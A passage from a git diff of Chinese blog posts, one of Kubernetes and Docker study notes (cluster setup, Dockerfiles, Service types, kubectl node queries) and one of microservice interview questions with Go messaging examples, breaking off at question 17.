基本环境配置:** +- 安装操作系统(Ubuntu, CentOS, RedHat等)并确保网络通畅。 +- 确保所有机器的主机名、MAC 地址和 product_uuid 是唯一的。 +- 禁用 Swap:可以通过 `sudo swapoff -a` 来临时禁用 swap。 +- 确保机器上安装了 iptables 并已开启 IP Forwarding。 +- 确保 SELinux 已禁用或设置为 permissive mode。 + +**1.1.2 内核配置:** +- 配置内核参数,以便于 Kubernetes 更好的使用网络和存储资源。例如,设置 `net.bridge.bridge-nf-call-iptables` 和 `net.bridge.bridge-nf-call-ip6tables` 为 1。 + +**1.1.3 基本组件安装:** +- 安装 Docker 或其他 Kubernetes 支持的容器运行时。 +- 安装 kubeadm、kubelet 和 kubectl。 + +**1.1.4 高可用组件安装:** +- 安装 Keepalived 或 HAProxy 用于实现负载均衡。 + +**1.1.5 Calico 组件的安装:** +- 使用 kubectl 应用 Calico 插件的 YAML 配置文件。 + +**1.1.6 高可用 Master:** +- 使用 kubeadm 初始化第一台 Master 节点。 +- 在其他 Master 节点上执行 kubeadm join。 + +**1.1.7 Node 节点的配置:** +- 在 Node 节点上执行 kubeadm join。 + +**1.1.8 Metrics 部署:** +- 安装 Metrics Server,以收集 Kubernetes 集群的资源利用数据。 + +**1.1.9 Dashboard 部署:** +- 使用 kubectl 应用 Kubernetes Dashboard 的 YAML 配置文件。 + + +## Docker 基础 + +### 虚拟机 +虚拟机(Virtual Machine, VM)是一种模拟物理计算机系统的软件实现。虚拟机的核心是虚拟机监视器(Virtual Machine Monitor, VMM)或称为超级管理程序(Hypervisor)。这个监视器负责在一个物理主机上模拟出多个虚拟的计算机,每一个虚拟计算机被称为一台虚拟机。 + +以下是虚拟机工作的基本过程: + +1. **CPU 虚拟化:** 虚拟机监视器(VMM)会虚拟出多个 CPU 核心供虚拟机使用。通过时间分片技术,使得虚拟机感觉自己在独占 CPU。VMM 会捕获虚拟机发出的影响全局状态的指令,例如改变内存管理的指令,然后进行适当的处理。 + +2. **内存虚拟化:** VMM 也会模拟出独立的内存给每一个虚拟机,通过修改虚拟机的内存地址映射表,将虚拟机的内存地址转换为主机的物理内存地址。 + +3. **设备虚拟化:** VMM 会模拟出网络接口卡、硬盘、显卡等硬件设备。当虚拟机试图通过这些设备进行 I/O 操作时,这些操作会被转发给 VMM,由 VMM 转交给实际的物理设备。 + +4. **操作系统:** 虚拟机可以运行各种不同的操作系统,包括 Windows、Linux、MacOS 等。这些操作系统会被安装在虚拟硬盘上,和运行在物理机器上的操作系统一样。 + +通过以上方式,虚拟机在单个物理机器上模拟出多个计算机,**每个虚拟机都有自己的 CPU、内存和设备**,能够**运行自己的操作系统和应用程序**,虚拟机之间互不干扰。这就是虚拟机如何"虚拟出"另一个机器的基本原理。 + +虚拟机管理程序有两种类型: + +Type 1(原生或裸机Hypervisor):这类Hypervisor直接安装在物理硬件上,无需依赖于其他操作系统。它具有较好的性能和安全性。例如,VMware ESXi和Microsoft Hyper-V。 + +Type 2(宿主机Hypervisor):这类Hypervisor安装在一个基础操作系统上,作为一个应用程序运行。虚拟机运行在这个基础操作系统之上。例如,VMware Workstation和Oracle VirtualBox。 + +### Docker的基础命令 + +```shell +docker version +docker info +docker images +docker search centos +docker pull alpine:latest +docker pull xxx.com alpine:latest +docker login +docker push +docker run -it centos:8 bash ## 前台进行 +docker run -d centos:8 bash ## 后台进行 +docker run -ti -p 12345:80 nginx:1.14.2 +docker ps ## 查看正在运行的 +docker ps -a ## 查看正在运行的 +docker ps -q ## 查看正在运行的的ID +docker logs 04986cf9cef7 +docker logs -f 04986cf9cef7 ## 动态查看日志 +docker exec -it 04986cf9cef7 sh +docker cp index.html 04986cf9cef7:/usr/share/nginx/html +docker cp 04986cf9cef7:/usr/share/nginx/html/index.html . +docker rm # 删除容器 +docker rmi # 删除镜像 +docker start +docker stop +docker history 04986cf9cef7 +docker commit +docker build -t +``` + +### Dockerfile指令 + +```dockerfile +FROM +RUN +EXPOSE +CMD +ENTRYPOINT +ENV +ADD +COPY +WORKDIR +USER +``` +在 Dockerfile 中,每一个指令都有其特定的意义: + +- **FROM:** 定义了用于构建新镜像的基础镜像。例如,`FROM ubuntu:18.04` 表示将基于 Ubuntu 18.04 镜像来创建新的镜像。 + +- **RUN:** 在镜像内部运行一个命令。它通常用于安装软件或其他包。 + +- **EXPOSE:** 声明容器在运行时监听的端口。 + +- **CMD:** 提供容器启动时默认的执行命令。如果在运行容器时提供了其他命令,那么 CMD 指定的命令将被忽略。 + +- **ENTRYPOINT:** 为容器指定一个可执行文件,当容器启动时,ENTRYPOINT 指定的程序会被执行,而 CMD 指定的参数将会作为参数传递给 ENTRYPOINT 的程序。 + +- **ENV:** 设置环境变量。这些变量将在构建过程中以及容器运行时可用。 + +- **ADD:** 将文件或目录从 Docker 主机复制到新的 Docker 镜像内部。ADD 还可以处理 URL 和解压缩包。 + +- **COPY:** 与 ADD 类似,将文件或目录从 Docker 主机复制到新的 Docker 镜像内部。但是,COPY 无法处理 URL 和解压缩包。 + +- **WORKDIR:** 为 RUN、CMD、ENTRYPOINT、COPY 和 ADD 指令设置工作目录。 + +- **USER:** 设置运行后续命令的用户和用户组。可以是用户名、用户ID、用户组、用户组ID,或者是任何组合,如 `user`、`userid` + + + +```dockerfile +# 使用官方 Golang 镜像作为基础镜像 +FROM golang:1.16-alpine as builder + +# 设置工作目录 +WORKDIR /app + +# 把当前目录的内容复制到工作目录内 +COPY . . + +# 编译 Go 程序 +RUN go build -o main . + +# 使用 scratch 作为基础镜像 +FROM scratch + +# 把可执行文件从 builder 镜像复制过来 +COPY --from=builder /app/main /main + +# 设置环境变量,指定默认的数据库连接字符串 +ENV DB_CONNECTION_STRING="your-db-connection-string" + +# 容器启动时运行 Go 程序 +ENTRYPOINT ["/main"] +``` + +### 实战场景中的Dockerfile + +MySQL 数据库运行在同一台 Docker 主机的另一个容器中,可以使用 Docker 的网络功能来使这两个容器互相通信。例如,可以创建一个 Docker 网络,然后在这个网络上启动的应用容器和 MySQL 容器。 + +运行的应用和 MySQL 的命令可能如下: + +```shell +# 创建一个 Docker 网络 +docker network create mynetwork + +# 启动 MySQL 容器 +docker run --network=mynetwork --name mymysql -e MYSQL_ROOT_PASSWORD=12345678 -e MYSQL_DATABASE=PersonalizedRecommendationSystem -p 8806:3306 -d mysql:5.7 + +# 构建应用程序的 Docker 镜像 +docker build -t myapp . + +# 启动应用程序容器 +docker run --network=mynetwork -e DB_HOST=mymysql -p 8080:8080 -d myapp +``` + +在 Docker 中,我们使用 `docker run` 命令来创建和启动一个容器。这条命令的格式如下: + +`docker run [OPTIONS] IMAGE [COMMAND] [ARG...]` +以下是命令 `docker run --network=mynetwork -e DB_HOST=mymysql -p 8080:8080 -d myapp` 中各部分的含义: +- `--network=mynetwork`: 这部分指定了容器运行在哪个网络上。在这个例子中,容器运行在名为 "mynetwork" 的网络上。这意味着这个容器可以访问在同一个网络上的其他容器。 +- `-e DB_HOST=mymysql`: 这部分设置了一个环境变量 `DB_HOST`,它的值为 "mymysql"。的应用程序可以读取这个环境变量,以得知数据库的地址。 +- `-p 8080:8080`: 这部分映射了容器的端口到宿主机的端口。在这个例子中,容器的 8080 端口被映射到宿主机的 8080 端口。这样,我们可以通过访问宿主机的 8080 端口来访问容器的 8080 端口。 +- `-d`: 这个选项让容器在后台运行,并返回容器的 ID。 +- `myapp`: 这是要运行的 Docker 镜像的名称。 + + +在 `docker run` 命令中,已经将 MySQL 容器的 3306 端口映射到了宿主机的 8806 端口,同时还将 MySQL 容器加入到了 `mynetwork` 网络。那么在同一网络中的其他容器就可以使用给 MySQL 容器命名的名字(在这里是 `mymysql`)作为主机名来访问 MySQL 服务。 + +所以需要将 Go 应用程序的配置文件中的 `ip` 字段修改为 `mymysql`。的新的 `config.toml` 配置文件应该是这样的: + +```toml +[mysql] + database = "PersonalizedRecommendationSystem" + ip = "mymysql" + password = "12345678" + port = 3306 + user = "root" +``` + +注意:这里的端口已经改为 `3306`,因为现在是在 Docker 的内部网络中访问 MySQL 容器,而不是通过宿主机的端口。 + +用Dockerfile 来构建的 Go 应用程序的 Docker 镜像 +```dockerfile +# 使用官方的 Golang 镜像作为构建环境 +FROM golang:1.16 as builder + +# 将工作目录设为 /app +WORKDIR /app + +# 复制 go.mod 和 go.sum 文件到当前目录 +COPY go.mod go.sum ./ + +# 下载所有依赖 +RUN go mod download + +# 复制剩余的源代码文件到当前目录 +COPY . . + +# 构建应用程序 +RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main . + +# 使用 scratch 作为基础镜像,生成最终的 Docker 镜像 +FROM scratch + +# 将工作目录设为 / +WORKDIR / + +# 从 builder 镜像复制执行文件到当前目录 +COPY --from=builder /app/main . + +# 将配置文件复制到当前目录 +COPY --from=builder /app/config.toml . + +# 指定容器启动时要运行的命令 +ENTRYPOINT ["./main"] +``` +然后用下面的命令来启动它: + +```shell +# 构建应用程序的 Docker 镜像 +docker build -t myapp . +# 启动应用程序容器 +docker run --network=mynetwork -p 8080:8080 -d myapp +``` + +```shell +docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag +``` + + +# Kubernetes基础 + +### 架构 + +Kubernetes是谷歌以Borg为前身,基于谷歌15年生产环境经验的基础上开源的一个项目,Kubernetes致力于提供跨主机集群的自动部署、扩展、高可用以及运行应用程序容器的平台。 + +Master节点:整个集群的控制中枢 + +- Kube-APIServer:集群的控制中枢,各个模块之间信息交互都需要经过Kube-APIServer,同时它也是集群管理、资源配置、整个集群安全机制的入口。 +- Controller-Manager:集群的状态管理器,保证Pod或其他资源达到期望值,也是需要和APIServer进行通信,在需要的时候创建、更新或删除它所管理的资源。 +- Scheduler:集群的调度中心,它会根据指定的一系列条件,选择一个或一批最佳的节点,然后部署我们的Pod。 +- Etcd:键值数据库,报错一些集群的信息,一般生产环境中建议部署三个以上节点(奇数个)。 + +Node:工作节点 +Worker、node节点、minion节点 +- Kubelet:负责监听节点上Pod的状态,同时负责上报节点和节点上面Pod的状态,负责与Master节点通信,并管理节点上面的Pod。 +- Kube-proxy:负责Pod之间的通信和负载均衡,将指定的流量分发到后端正确的机器上。 +- 查看Kube-proxy工作模式:curl 127.0.0.1:10249/proxyMode +- Ipvs:监听Master节点增加和删除service以及endpoint的消息,调用Netlink接口创建相应的IPVS规则。通过IPVS规则,将流量转发至相应的Pod上。 +```shell +IPVS (IP Virtual Server): +类型:IPVS是一个内核级的负载均衡器,它可以在传输层进行负载均衡。 +工作原理: +IPVS工作在网络的第4层(传输层),支持四种IP负载均衡技术:轮询、加权轮询、最少连接、加权最少连接。 +它通过替换数据包的地址信息来将流量从虚拟服务器转发到真实的后端服务器。 +IPVS使用哈希表来存储其转发规则,这使得查找和匹配规则非常快。 +优势:与iptables相比,IPVS具有更好的性能和可伸缩性,特别是在处理大量并发连接时。 +``` +- Iptables:监听Master节点增加和删除service以及endpoint的消息,对于每一个Service,他都会场景一个iptables规则,将service的clusterIP代理到后端对应的Pod。 +其他组件 + +kube-proxy的iptables模式: +工作原理:当创建一个Kubernetes Service时,kube-proxy会为该Service生成一系列的iptables规则。这些规则将流量从Service的ClusterIP(或NodePort,如果配置了的话)转发到后端的Pod。 +优点:简单,成熟,广泛支持。 +缺点:随着Service和Endpoint的增加,iptables规则的数量也会增加,可能导致性能下降。 + +kube-proxy的ipvs模式: +工作原理:IPVS模式使用Linux的IPVS功能来实现负载均衡。与iptables模式相比,IPVS模式使用哈希表来存储其转发规则,这使得查找和匹配规则非常快。 +优点:提供更好的性能、可伸缩性和更丰富的负载均衡算法(如轮询、加权轮询、最少连接等)。 +缺点:可能需要在节点上安装额外的内核模块或工具。 +如何配置kube-proxy使用IPVS或iptables模式: +通过命令行参数:当启动kube-proxy时,可以使用--proxy-mode参数来指定使用的模式,例如--proxy-mode=ipvs或--proxy-mode=iptables。 + +通过Kubernetes配置文件:如果使用的是Kubeadm来部署Kubernetes,可以在kube-proxy的ConfigMap中设置mode字段来选择模式。 + +- Calico:符合CNI标准的网络插件,给每个Pod生成一个唯一的IP地址,并且把每个节点当做一个路由器。Cilium +- CoreDNS:用于Kubernetes集群内部Service的解析,可以让Pod把Service名称解析成IP地址,然后通过Service的IP地址进行连接到对应的应用上。 +- Docker:容器引擎,负责对容器的管理。 + + +### Service的类型 + +ClusterIP/NodePort/LoadBalancer/ExternalName + + +这些术语都是 Kubernetes 中关于 Service 的一部分。Kubernetes Service 是定义在 Pod 上的网络抽象,它能使应用程序与它们所依赖的后端工作负载进行解耦。这四种 Service 类型是 Kubernetes 提供的四种不同的方式来暴露服务: + +`ClusterIP`:这是默认的 ServiceType。它会通过一个集群内部的 IP 来暴露服务。只有在集群内部的其他 Pod 才能访问这种类型的服务。 + + +当我们说“只有集群内的其他Pod才能访问这种类型的服务”时,我们是指以下几点: + +集群内部的IP:当创建一个默认的ServiceType(即ClusterIP)的Kubernetes服务时,该服务会被分配一个唯一的IP地址,这个地址只在Kubernetes集群内部可用。这意味着这个IP地址对于集群外部的任何实体(例如,外部的服务器、客户端或的本地机器)都是不可达的。 + +Pod之间的通信:在Kubernetes集群中,Pods可以与其他Pods通信,无论它们是否在同一节点上。当一个Pod想要与另一个服务通信时,它可以使用该服务的ClusterIP和服务端口。由于ClusterIP只在集群内部可用,只有集群内的Pods才能使用这个IP地址来访问服务。 + +集群外部的访问:如果想从集群外部访问一个服务,不能使用ClusterIP类型的服务。相反,需要使用其他类型的服务,如NodePort或LoadBalancer,这些服务类型提供了从集群外部访问服务的方法。 + + +`NodePort`:这种类型的服务是在每个节点的 IP 和一个静态端口(也就是 NodePort)上暴露服务。这意味着如果知道任意一个节点的 IP 和服务的 NodePort,就可以从集群的外部访问服务。在内部,Kubernetes 将 NodePort 服务路由到自动创建的 ClusterIP 服务。 + + +当创建一个NodePort类型的服务时,Kubernetes实际上会为执行两个操作: + +创建一个ClusterIP服务:首先,Kubernetes会为该服务自动创建一个ClusterIP,这是一个只能在集群内部访问的IP地址。这意味着,即使明确地创建了一个NodePort服务,仍然会得到一个与该服务关联的ClusterIP。 + +在每个节点上开放一个端口(NodePort):Kubernetes会在每个集群节点上的指定端口(即NodePort)上开放该服务。任何到达节点上这个端口的流量都会被自动转发到该服务的ClusterIP,然后再路由到后端的Pods。 + +这种设计的好处是,可以在集群内部使用ClusterIP来访问服务(就像任何其他ClusterIP服务一样),同时还可以从集群外部通过NodePort来访问该服务。 + +所以,当我们说“在内部,Kubernetes将NodePort服务路由到自动创建的ClusterIP服务”时,我们是指:从外部到达NodePort的流量首先被转发到该服务的ClusterIP,然后再由ClusterIP路由到后端的Pods。这是Kubernetes如何处理NodePort服务的流量的内部机制。 + + +`LoadBalancer`:这种类型的服务会使用云提供商的负载均衡器向外部暴露服务。这个负载均衡器可以将外部的网络流量路由到集群内部的 NodePort 服务和 ClusterIP 服务。 + + +LoadBalancer服务类型: +外部负载均衡器:当在支持的云提供商环境中创建一个LoadBalancer类型的服务时,Kubernetes会自动为配置云提供商的外部负载均衡器。 + +与NodePort和ClusterIP的关联: + +在创建LoadBalancer服务时,Kubernetes也会自动创建一个NodePort服务和一个ClusterIP服务。 +外部流量首先到达云提供商的负载均衡器,然后被路由到任意节点的NodePort。 +从NodePort,流量再被路由到ClusterIP服务,最后到达后端的Pods。 +健康检查和流量分发: + +云提供商的负载均衡器通常会执行健康检查,确保只将流量路由到健康的节点。 +一旦流量到达一个健康的节点,Kubernetes的NodePort和ClusterIP机制会接管,确保流量正确地路由到一个健康的Pod。 +云提供商的集成:不同的云提供商可能会提供不同的配置选项和特性,例如:注解、负载均衡器类型、网络策略等。因此,当在特定的云环境中使用LoadBalancer服务时,建议查阅相关的文档。 + + +`ExternalName`:通过返回 CNAME 和对应值,可以将服务映射到 externalName 字段的内容(例如,foo.bar.example.com)。 无需创建任何类型代理。 + + +没有选择器和Pods:与其他Service类型不同,ExternalName服务不使用选择器,因此它不与任何Pods关联。 + +返回CNAME:当一个应用或Pod尝试解析这个Service的名称时,它实际上会得到一个CNAME记录,该记录指向externalName字段中指定的值。 + +使用场景: + +假设的Kubernetes集群内部的应用需要访问一个位于集群外部的数据库,例如database.external.com。 +可以创建一个ExternalName服务,名为database-service,其externalName字段设置为database.external.com。 +现在,集群内的应用可以简单地连接到database-service。但在DNS解析时,它实际上会被解析为database.external.com。 +无代理和负载均衡:由于ExternalName只是返回CNAME,所以没有涉及到流量代理或负载均衡。它只是一个DNS级别的别名或引用。 + +示例: + +```yaml +apiVersion: v1 +kind: Service +metadata: + name: my-service +spec: + type: ExternalName + externalName: my.database.example.com +``` +总之,ExternalName服务类型提供了一种简单的方法,使Kubernetes集群内的应用能够通过服务名称引用或访问集群外部的服务或资源,而不需要任何复杂的网络配置或代理。 + + +> k8s的节点挂掉,如何处理 + +当Kubernetes中的一个节点(Node)挂掉时,Kubernetes会采取一系列的自动化步骤来恢复工作负载和服务的可用性。但作为集群管理员或操作员,也可以采取一些手动步骤来确保系统的健康和稳定性。以下是当K8s的节点挂掉时的处理步骤: + +1. **确认节点状态**: + - 使用`kubectl get nodes`检查节点的状态。如果节点挂掉,它的状态可能会显示为`NotReady`。 + +2. **检查节点日志和监控**: + - 如果有对节点的SSH访问权限,尝试登录并检查系统日志、kubelet日志等,以确定导致节点故障的原因。 + - 查看任何已部署的监控和警报系统(如Prometheus)以获取更多信息。 + +3. **等待自动恢复**: + - 如果节点在短时间内没有恢复,Kubernetes的控制平面将开始重新调度该节点上的Pods到其他健康的节点。 + - 如果的工作负载使用了持久性存储,如PersistentVolumeClaims (PVCs),确保存储系统支持多节点访问或正确处理节点故障。 + +4. **手动干预**: + - 如果节点长时间处于`NotReady`状态,并且自动恢复没有成功,可能需要手动干预。 + - 可以尝试重启节点或修复任何已知的硬件/软件问题。 + - 如果节点无法恢复,考虑替换它。在云环境中,这通常意味着终止有问题的实例并启动一个新的实例。 + +5. **清理和维护**: + - 如果决定永久删除一个节点,确保首先使用`kubectl drain `来安全地从节点中移除所有工作负载。 + - 然后,可以使用`kubectl delete node `从集群中删除该节点。 + +6. **预防措施**: + - 考虑使用自动扩展组或类似机制来自动替换失败的节点。 + - 确保的集群有足够的冗余,以便在一个或多个节点失败时仍然可以继续运行。 + - 定期备份集群的状态和数据,以便在灾难恢复时使用。 + + +> Kubernetes如何查看节点的信息? + +在Kubernetes中,可以使用kubectl命令行工具来查看节点的信息。以下是一些常用的命令来查看和获取节点相关的信息: + +查看所有节点的简要信息: + +```shell +kubectl get nodes +``` + +查看特定节点的详细信息: +这将显示节点的详细描述,包括标签、注解、状态、容量、分配的资源等。 + +```shell +kubectl describe node +``` + +查看所有节点的详细信息: +```shell +kubectl describe nodes +``` + +获取节点的原始YAML或JSON格式的配置: +这可以帮助查看节点的完整配置和状态。 + +```shell +kubectl get node -o yaml +``` +```shell +kubectl get node -o json +``` + + +查看节点的标签: +```shell +kubectl get nodes --show-labels +``` + +使用标签选择器查看特定的节点: +例如,如果想查看所有标记为env=production的节点。 +```shell +kubectl get nodes -l env=production +``` + +查看节点的资源使用情况: +这需要Metrics Server或其他兼容的指标解决方案在集群中部署。 + +```shell +kubectl top node +``` +> 获取公网的IP地址 + +在Kubernetes中,节点的公网IP不是默认的信息,因为Kubernetes主要关注的是集群内部的通信。但是,根据的云提供商和网络设置,公网IP可能会作为节点的一个注解或标签存在。 + +以下是一些常见的方法来尝试获取节点的公网IP: + +**使用kubectl describe**: + +```bash +kubectl describe node +``` +在输出中查找`Addresses`部分,可能会有`ExternalIP`或`PublicIP`字段。 + +**获取节点的YAML表示**: +```bash +kubectl get node -o yaml +``` +在输出中查找公网IP。它可能存在于`status.addresses`部分,并标记为`ExternalIP`。 + +**云提供商的CLI工具**: +如果在云环境(如AWS、GCP、Azure等)中运行Kubernetes,可以使用云提供商的CLI工具来获取实例的公网IP。例如,在AWS中,可以使用`aws ec2 describe-instances`来获取实例的详细信息,其中包括公网IP。 + +**使用标签或注解**: +有些云提供商或网络插件可能会将公网IP作为节点的一个标签或注解添加。可以检查节点的标签和注解来查找这些信息。 + +**自定义脚本或工具**: +如果经常需要这些信息,可以考虑编写一个小脚本或工具,结合`kubectl`和云提供商的CLI,自动获取所有节点的公网IP。 + +请注意,不是所有的Kubernetes节点都有公网IP。在某些环境中,节点可能只有私有IP,而公网访问是通过负载均衡器或其他网络设备实现的。 + + +> 查看所有节点的InternalIP查看所有节点的InternalIP + +要查看Kubernetes集群中所有节点的`InternalIP`,可以使用`kubectl`命令行工具配合`jsonpath`来提取这些信息。以下是如何做到这一点的命令: + +```bash +kubectl get nodes -o=jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}' +``` + +这个命令会为每个节点输出一个行,显示节点的名称和其对应的`InternalIP`。 + +解释: +- `-o=jsonpath=...`:这部分使用jsonpath语法来提取和格式化输出。 +- `{range .items[*]}...{"\n"}`:遍历所有节点。 +- `.metadata.name`:获取节点的名称。 +- `.status.addresses[?(@.type=="InternalIP")].address`:从节点的地址中提取`InternalIP`。 + +输出的结果将是每个节点的名称和其对应的`InternalIP`,每个节点占一行。 + diff --git a/_posts/2023-9-12-test-markdown.md b/_posts/2023-9-12-test-markdown.md new file mode 100644 index 000000000000..b17ad70f26db --- /dev/null +++ b/_posts/2023-9-12-test-markdown.md @@ -0,0 +1,433 @@ +--- +layout: post +title: 微服务面试题 +subtitle: +tags: [微服务] +comments: true +--- + +**问题1: 能解释一下什么是微服务架构吗?** +理想答案: 微服务架构是一种将应用程序分解为一组小型、独立的服务的方法,这些服务各自运行在自己的进程中,通常是围绕业务功能进行划分的。这些服务可以独立开发、部署和扩展,它们通过轻量级的机制(通常是HTTP RESTful API或者异步消息传递)进行通信。 + +**问题2: 可以描述一下微服务的优点和缺点吗?** +理想答案: 微服务的优点包括:更快的开发和部署速度,因为服务小且独立,可以快速开发和部署;更好的可扩展性,因为每个服务都可以根据需要独立扩展;更高的容错性,一个服务的失败不会影响到其他服务。然而,微服务也有一些缺点,如:复杂性增加,因为需要管理和协调多个服务;数据一致性问题,因为每个服务都有自己的数据库;网络延迟和通信问题,因为服务之间需要通过网络进行通信。 + +**问题3: 在微服务开发中遇到过什么样的挑战,是如何解决的?** +理想答案: 在我参与的一个微服务项目中,我们遇到了服务间通信的问题。我们最初使用的是同步的HTTP请求,但这导致了服务间的耦合度增加,以及网络延迟问题。为了解决这个问题,我们转向了异步的消息队列,这样服务就可以独立地处理请求,而不需要等待其他服务的响应。 + +**问题4: 如何看待服务之间的数据一致性问题?** +理想答案: 在微服务架构中,每个服务通常都有自己的数据库,这可能会导致数据一致性问题。为了解决这个问题,我们可以使用一些策略,如事件驱动的架构,其中一个服务的状态改变会触发事件,其他服务可以监听这些事件并更新自己的状态。另一种策略是使用分布式事务,但这可能会增加系统的复杂性。 + +**问题5: 有使用过哪些微服务相关的工具或技术?** +理想答案: 在我之前的项目中,我使用过一些微服务相关的工具和技术。例如,我使用Docker进行容器化,这使得我们的服务可以在不同的环境中一致地运行。我也使用了Kubernetes进行服务的部署和管理,它提供了服务发现、负载均衡、自动扩展等功能。此外,我还使用了RabbitMQ作为我们的消息队列,它支持我们的服务进行异步通信。在服务间通信方面,我使用了gRPC和RESTful API。对于服务的监控和日志收集,我使用了Prometheus和ELK(Elasticsearch, Logstash, Kibana) + +**问题6: Go中如何通过消息队列技术来实现服务间的异步通信** + +RabbitMQ: RabbitMQ是一个开源的消息代理和队列服务器,它允许应用程序通过异步消息传递进行通信。在Go中,我们可以使用amqp库来与RabbitMQ进行交互。 +```go +package main + +import ( + "github.com/streadway/amqp" + "log" +) + +func main() { + // 连接到RabbitMQ服务器 + conn, err := amqp.Dial("amqp://guest:guest@localhost:5672/") + if err != nil { + log.Fatal(err) + } + defer conn.Close() + + // 创建一个通道 + ch, err := conn.Channel() + if err != nil { + log.Fatal(err) + } + defer ch.Close() + + // 声明一个队列 + q, err := ch.QueueDeclare( + "hello", // name + false, // durable + false, // delete when unused + false, // exclusive + false, // no-wait + nil, // arguments + ) + if err != nil { + log.Fatal(err) + } + + // 发送消息到队列 + body := "Hello World!" + err = ch.Publish( + "", // exchange + q.Name, // routing key + false, // mandatory + false, // immediate + amqp.Publishing{ + ContentType: "text/plain", + Body: []byte(body), + }) + if err != nil { + log.Fatal(err) + } +} + +``` +Kafka: Kafka是一个分布式流处理平台,它可以处理高速的数据流。在Go中,我们可以使用sarama库来与Kafka进行交互。 +```go +package main + +import ( + "github.com/Shopify/sarama" + "log" +) + +func main() { + // 创建一个新的生产者 + producer, err := sarama.NewSyncProducer([]string{"localhost:9092"}, nil) + if err != nil { + log.Fatalln(err) + } + defer func() { + if err := producer.Close(); err != nil { + log.Fatalln(err) + } + }() + + // 发送消息 + msg := &sarama.ProducerMessage{Topic: "my_topic", Value: sarama.StringEncoder("Hello World!")} + partition, offset, err := producer.SendMessage(msg) + if err != nil { + log.Fatalln(err) + } + + log.Printf("Message was sent to partition %d with offset %d\n", partition, offset) +} + +``` +NATS: NATS是一个简单、高性能的开源消息系统,它支持发布/订阅、请求/响应和点对点的通信模式。在Go中,我们可以使用nats.go库来与NATS进行交互。 + +```go +package main + +import ( + "github.com/nats-io/nats.go" + "log" +) + +func main() { + // 连接到NATS服务器 + nc, err := nats.Connect(nats.DefaultURL) + if err != nil { + log.Fatal(err) + } + defer nc.Close() + + // 发布消息 + if err := nc.Publish("foo", []byte("Hello World!")); err != nil { + log.Fatal(err) + } + + // 刷新连接状态 + nc.Flush() + + if err := nc.LastError(); err != nil { + log.Fatal(err) + } +} +``` + +同步的HTTP请求转换为异步的消息传递。具体来说,当一个服务需要请求另一个服务时,它不是直接发送HTTP请求,而是发送一个消息到消息队列。另一个服务可以监听这个队列当有新的消息时,它可以处理这个消息并发送一个响应消息回去。这样,两个服务就可以异步地进行通信,它们不需要等待对方的响应,从而减少了耦合度和网络延迟。 + +例如,假设我们有一个订单服务和一个库存服务,当用户下单时,订单服务需要检查库存。在同步的HTTP请求中,订单服务会直接调用库存服务的API,然后等待响应。但在异步的消息传递中,订单服务会发送一个检查库存的消息到消息队列,然后继续处理其他任务。库存服务会监听这个队列,当它收到消息时,它会检查库存,然后发送一个响应消息回去。订单服务可以在后续的处理中获取这个响应消息。这样,订单服务和库存服务就可以异步地进行通信,它们不需要等待对方的响应。 + + +**问题7: 在的微服务架构中,是如何处理服务发现的?** + +理想答案: 在我的微服务架构中,我使用了Kubernetes作为服务发现的解决方案。Kubernetes的服务抽象可以自动为每个服务提供一个可发现的DNS名字,并可以在网络上均衡负载。这使得服务可以轻松地找到并与其他服务进行通信,而无需知道它们的具体位置。 + +**问题8: 如何处理微服务的认证和授权?** +理想答案: 在我的微服务架构中,我使用了JWT(JSON Web Tokens)进行服务间的认证。每个服务在处理请求时都会检查JWT,以验证请求的来源。对于授权,我使用了RBAC(Role-Based Access Control)模型,每个服务都有一个角色列表,这些角色定义了它可以访问哪些资源和执行哪些操作。 + +**问题9: 如何处理微服务的日志和监控?** + +理想答案: 对于日志,我使用了ELK(Elasticsearch, Logstash, Kibana)堆栈来收集、存储和分析日志。每个服务都将其日志发送到Logstash,然后Logstash将日志存储在Elasticsearch中,最后我可以使用Kibana来查看和分析日志。对于监控,我使用了Prometheus和Grafana。Prometheus用于收集和存储指标,而Grafana用于可视化这些指标。 + + +**问题10: 如何处理微服务的故障恢复和冗余?** + +在我的微服务架构中,我使用了Kubernetes的复制控制器来确保每个服务都有足够的副本在运行,如果一个服务的实例失败,复制控制器会自动启动一个新的实例来替换它。此外,我还使用了Kubernetes的服务抽象来提供负载均衡和服务发现,这使得请求可以被均匀地分配到各个服务实例,即使某些实例失败,也不会影响到服务的可用性。 + +**问题11: 在微服务架构中,是如何处理数据一致性问题的?** + +理想答案: 在微服务架构中,数据一致性是一个挑战,因为每个服务都有自己的数据库。为了解决这个问题,我使用了事件驱动的架构,其中一个服务的状态改变会触发事件,其他服务可以监听这些事件并更新自己的状态。这种方式可以保证最终一致性,但可能需要一些时间来传播状态改变。 + +**问题12: 有没有使用过服务网格技术,比如Istio或Linkerd?** + +理想答案: 是的,我使用过Istio。Istio是一个开源的服务网格,它提供了一种统一的方式来连接、保护、控制和观察服务。我使用Istio来管理我的微服务的流量,实现故障注入和容错,以及提供详细的指标和日志。 + +**问题13: 在的微服务架构中,是如何处理跨服务的事务的?** + +理想答案: 在微服务架构中,处理跨服务的事务是一个挑战,因为每个服务都有自己的数据库。为了解决这个问题,我使用了分布式事务模式,如两阶段提交或者补偿事务。这些模式可以保证在所有相关的服务中,事务要么都被提交,要么都被回滚。 + +**问题14: 如何测试的微服务?** + +理想答案: 我使用了多种测试策略来测试我的微服务。首先,我使用单元测试来测试每个服务的单个功能。然后,我使用集成测试来测试服务间的交互。我还使用端到端测试来测试整个系统的行为。此外,我还使用负载测试和混沌测试来测试系统的性能和稳定性。 + +**问题15: 在微服务架构中,是如何处理服务间的依赖关系的?** + +理想答案: 在微服务架构中,服务间的依赖关系是一个重要的问题。我尽量设计服务以减少直接的依赖关系,使得每个服务尽可能地独立。当服务间的依赖关系不可避免时,我使用服务注册和发现机制来动态地管理这些依赖关系。此外,我也使用断路器模式来防止依赖服务的故障导致整个系统的故障。 + +**问题16: 在微服务架构中,是如何处理版本控制和服务升级的?** + +理想答案: 在我的微服务架构中,我使用语义版本控制来管理每个服务的版本。当我需要升级一个服务时,我会先在生产环境中部署一个新版本的服务实例,然后使用金丝雀发布或者蓝绿部署的策略来逐渐将流量切换到新的服务实例。这样,我可以在不中断服务的情况下进行升级,并且可以随时回滚到旧的版本。 + +**问题17: 在微服务架构中,是如何处理安全问题的?** + +理想答案: 